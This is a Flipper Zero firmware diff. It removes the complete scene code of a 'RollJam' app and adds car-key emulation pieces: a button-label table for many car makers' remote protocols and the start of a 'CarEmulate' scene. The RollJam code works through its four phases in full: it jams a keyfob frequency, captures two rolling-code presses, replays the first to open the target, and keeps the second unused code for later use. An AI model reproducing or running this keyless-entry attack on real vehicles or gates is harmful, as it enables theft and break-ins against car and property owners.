view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
rolljam_capture_stop(app);
furi_delay_ms(50);
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,64 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
notification_message(app->notification, &sequence_blink_green_100);
rolljam_jammer_stop(app);
furi_delay_ms(1000);
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}
@@ -1,17 +0,0 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/
@@ -1,161 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}
@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
+1 -3
View File
@@ -4,14 +4,12 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"gpio",
"infrared",
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_remote",
"subghz_bruteforcer",
"archive",
"subghz_remote",
"main_apps_on_start",
],
)
@@ -0,0 +1,113 @@
#include "subghz_button_labels.h"
#include <furi.h>
#include <lib/subghz/blocks/custom_btn.h>
#include <string.h>
static const char* const button_default_labels[SUBGHZ_BUTTON_LABEL_COUNT] = {
"Original",
"Up",
"Down",
"Left",
"Right",
"Button 5",
"Button 6",
"Button 7",
};
typedef struct {
const char* protocol;
uint8_t max_custom_btn;
const char* labels[SUBGHZ_BUTTON_LABEL_COUNT];
} SubGhzProtocolButtonLabels;
static const SubGhzProtocolButtonLabels protocol_button_labels[] = {
{"VAG GROUP", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"Porsche AG", 4, {"Original", "Lock", "Unlock", "Trunk", "Open"}},
{"FORD V0", 3, {"Original", "Lock", "Unlock", "Trunk"}},
{"Ford V2", 4, {"Unlock", "Lock", "Trunk", "Panic", "Remote Start"}},
{"PSA GROUP", 4, {"Original", "Lock", "Unlock", "Trunk", "Trunk"}},
{"PSA OLD", 4, {"Original", "Lock", "Unlock", "Trunk", "Trunk"}},
{"KIA/HYU V0", 4, {"Original", "Lock", "Unlock", "Trunk", "Horn"}},
{"KIA/HYU V1", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"KIA/HYU V2", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"KIA/HYU V3", 5, {"Original", "Lock", "Unlock", "Trunk", "Panic", "Horn"}},
{"KIA/HYU V4", 5, {"Original", "Lock", "Unlock", "Trunk", "Panic", "Horn"}},
{"KIA/HYU V3/V4", 5, {"Original", "Lock", "Unlock", "Trunk", "Panic", "Horn"}},
{"KIA/HYU V5", 4, {"Original", "Unlock", "Lock", "Trunk", "Horn"}},
{"KIA/HYU V6", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"SUBARU", 5, {"Original", "Lock", "Unlock", "Trunk", "Panic", "Extra"}},
{"SUZUKI", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"Star Line", 4, {"Original", "Lock", "Unlock", "Trunk", "Start"}},
{"Scher-Khan", 4, {"Original", "Lock", "Unlock", "Trunk", "Start"}},
{"Sheriff CFM", 4, {"Original", "Lock", "Unlock", "Trunk", "Panic"}},
{"Nice FloR-S", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"CAME Atomo", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Alutech AT-4N", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"KeeLoq", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"Phoenix_V2", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"Beninca ARC", 2, {"Original", "Btn 1", "Btn 2"}},
{"GangQi", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Hay21", 2, {"Original", "Btn 1", "Btn 2"}},
{"Hollarm", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Jarolift", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"KingGates Stylo4k", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Princeton", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"Roger", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Security+ 2.0", 4, {"Original", "Btn 1", "Btn 2", "Btn 3", "Btn 4"}},
{"Somfy Telis", 3, {"Original", "Btn 1", "Btn 2", "Btn 3"}},
{"Faac SLH", 1, {"Original", "Btn 1"}},
};
void subghz_button_labels_reset(const char* labels[SUBGHZ_BUTTON_LABEL_COUNT]) {
for(uint8_t i = 0; i < SUBGHZ_BUTTON_LABEL_COUNT; i++) {
labels[i] = button_default_labels[i];
}
}
void subghz_button_labels_apply_protocol(
const char* protocol,
const char* labels[SUBGHZ_BUTTON_LABEL_COUNT]) {
if(!protocol) return;
for(uint8_t i = 0; i < COUNT_OF(protocol_button_labels); i++) {
if(strcmp(protocol, protocol_button_labels[i].protocol) == 0) {
for(uint8_t btn = 0; btn < SUBGHZ_BUTTON_LABEL_COUNT; btn++) {
if(protocol_button_labels[i].labels[btn]) {
labels[btn] = protocol_button_labels[i].labels[btn];
}
}
break;
}
}
}
const char* subghz_button_labels_get(
const char* const labels[SUBGHZ_BUTTON_LABEL_COUNT],
uint8_t custom_btn_id,
uint8_t original_custom_btn) {
if(custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) {
if((original_custom_btn != SUBGHZ_CUSTOM_BTN_OK) &&
(original_custom_btn < SUBGHZ_BUTTON_LABEL_COUNT)) {
return labels[original_custom_btn];
}
}
if(custom_btn_id < SUBGHZ_BUTTON_LABEL_COUNT) {
return labels[custom_btn_id];
}
return "Button";
}
uint8_t subghz_button_labels_get_max_custom_btn(const char* protocol) {
if(!protocol) return 0;
for(uint8_t i = 0; i < COUNT_OF(protocol_button_labels); i++) {
if(strcmp(protocol, protocol_button_labels[i].protocol) == 0) {
return protocol_button_labels[i].max_custom_btn;
}
}
return 0;
}
@@ -0,0 +1,26 @@
#pragma once
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
#define SUBGHZ_BUTTON_LABEL_COUNT 8
void subghz_button_labels_reset(const char* labels[SUBGHZ_BUTTON_LABEL_COUNT]);
void subghz_button_labels_apply_protocol(
const char* protocol,
const char* labels[SUBGHZ_BUTTON_LABEL_COUNT]);
const char* subghz_button_labels_get(
const char* const labels[SUBGHZ_BUTTON_LABEL_COUNT],
uint8_t custom_btn_id,
uint8_t original_custom_btn);
uint8_t subghz_button_labels_get_max_custom_btn(const char* protocol);
#ifdef __cplusplus
}
#endif
@@ -15,6 +15,7 @@ typedef enum {
SubGhzCustomEventSceneReceiverInfoTxStart,
SubGhzCustomEventSceneReceiverInfoTxStop,
SubGhzCustomEventSceneReceiverInfoSave,
SubGhzCustomEventSceneReceiverInfoTxFullDpad,
SubGhzCustomEventSceneSaveName,
SubGhzCustomEventSceneSignalSettings,
SubGhzCustomEventSceneSaveSuccess,
@@ -64,6 +65,10 @@ typedef enum {
SubGhzCustomEventViewFreqAnalOkLong,
SubGhzCustomEventByteInputDone,
SubGhzCustomEventCarEmulateTransmit,
SubGhzCustomEventCarEmulateStop,
SubGhzCustomEventCarEmulateExit,
} SubGhzCustomEvent;
typedef enum {
+77 -32
View File
@@ -1,9 +1,11 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <furi_hal_subghz.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
#include <lib/subghz/blocks/custom_btn.h>
#define TAG "SubGhzTxRx"
@@ -359,6 +361,49 @@ SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat*
return ret;
}
bool subghz_txrx_rebuild_from_fff(SubGhzTxRx* instance, FlipperFormat* flipper_format) {
furi_assert(instance);
furi_assert(flipper_format);
subghz_txrx_stop(instance);
bool rebuilt = false;
FuriString* temp_str = furi_string_alloc();
SubGhzTransmitter* transmitter = NULL;
do {
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
FURI_LOG_E(TAG, "Missing Protocol");
break;
}
transmitter =
subghz_transmitter_alloc_init(instance->environment, furi_string_get_cstr(temp_str));
if(!transmitter) {
FURI_LOG_E(TAG, "Protocol not found");
break;
}
rebuilt =
subghz_transmitter_deserialize(transmitter, flipper_format) == SubGhzProtocolStatusOk;
if(!rebuilt) {
FURI_LOG_E(TAG, "Protocol rebuild failed");
break;
}
} while(false);
if(transmitter) {
subghz_transmitter_free(transmitter);
}
furi_string_free(temp_str);
return rebuilt;
}
void subghz_txrx_rx_start(SubGhzTxRx* instance) {
furi_assert(instance);
subghz_txrx_stop(instance);
@@ -498,6 +543,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
// Must match the order defined in subghz_preset_delta.h
static int subghz_hop_index_from_name(const char* name) {
if(strcmp(name, "AM650") == 0) return 0;
if(strcmp(name, "FM476") == 0) return 1;
if(strcmp(name, "FM95") == 0) return 2;
return -1; // is not part of the fast hopping set
}
// Applies the target preset using delta-patch (without SRES) when possible,
// or falls back to the original full reload in any other case.
static void subghz_txrx_apply_preset_fast(
SubGhzTxRx* instance,
const char* old_preset_name,
const char* preset_name) {
int from_idx = subghz_hop_index_from_name(old_preset_name);
int to_idx = subghz_hop_index_from_name(preset_name);
if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
to_idx >= 0 && from_idx != to_idx) {
// Fast path: delta-patch without SRES or full reload (only internal CC1101)
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
} else {
// Fallback: original behavior (full reload)
subghz_devices_load_preset(
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
}
}
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
@@ -550,22 +625,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -588,22 +648,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -105,6 +105,15 @@ void subghz_txrx_get_frequency_and_modulation(
*/
SubGhzTxRxStartTxState subghz_txrx_tx_start(SubGhzTxRx* instance, FlipperFormat* flipper_format);
/**
* Rebuild protocol data without starting TX.
*
* @param instance Pointer to a SubGhzTxRx
* @param flipper_format Pointer to a FlipperFormat
* @return bool True when encoder deserialization updated protocol data successfully
*/
bool subghz_txrx_rebuild_from_fff(SubGhzTxRx* instance, FlipperFormat* flipper_format);
/**
* Start RX CC1101
*
@@ -94,6 +94,7 @@ typedef enum {
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
SubGhzViewIdCarEmulate,
} SubGhzViewId;
@@ -0,0 +1,674 @@
/**
* Scene: CarEmulate
* Custom automotive-key emulation GUI ported from ProtoPirate.
* Activated when SubGhzLastSettings::custom_car_emulate == true and the
* user presses "Emulate" on a saved dynamic protocol.
*
* Flow:
* SavedMenu → Emulate → (custom_car_emulate?) CarEmulate : Transmitter
*/
#include "../subghz_i.h"
#include "../views/subghz_car_emulate.h"
#include "../helpers/subghz_button_labels.h"
#include "../helpers/subghz_custom_event.h"
#include <lib/subghz/blocks/generic.h>
#include <notification/notification_messages.h>
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/blocks/custom_btn_i.h>
#include <string.h>
#define TAG "SubGhzSceneCarEmulate"
#define MIN_TX_TICKS 66U /* ~666 ms at 100 ms tick */
/* ── Per-session state (heap, freed on exit) ─────────────────────────────── */
typedef struct {
/* Signal metadata read from fff_data */
char protocol_name[48];
uint32_t serial;
uint8_t original_button;
uint32_t original_counter;
uint32_t current_counter;
uint32_t freq;
char preset_short[12]; /* "AM650", "FM476", … */
bool has_serial;
bool has_counter;
/* TX state */
bool is_transmitting;
bool stop_pending; /* stop requested before MIN_TX_TICKS elapsed */
uint32_t tx_start_tick;
/* Resolved custom button repeated while the physical key is held */
uint8_t pending_button;
uint8_t max_custom_button;
} CarEmulateState;
static CarEmulateState* s_state = NULL;
/* ═══════════════════════════════════════════════════════════════════════════
* Button mapping (protocol-name → InputKey → button byte)
* Ported verbatim from protopirate_scene_emulate.c
* ═════════════════════════════════════════════════════════════════════════*/
//static uint8_t car_emulate_map_button(
// const char* protocol,
// InputKey key,
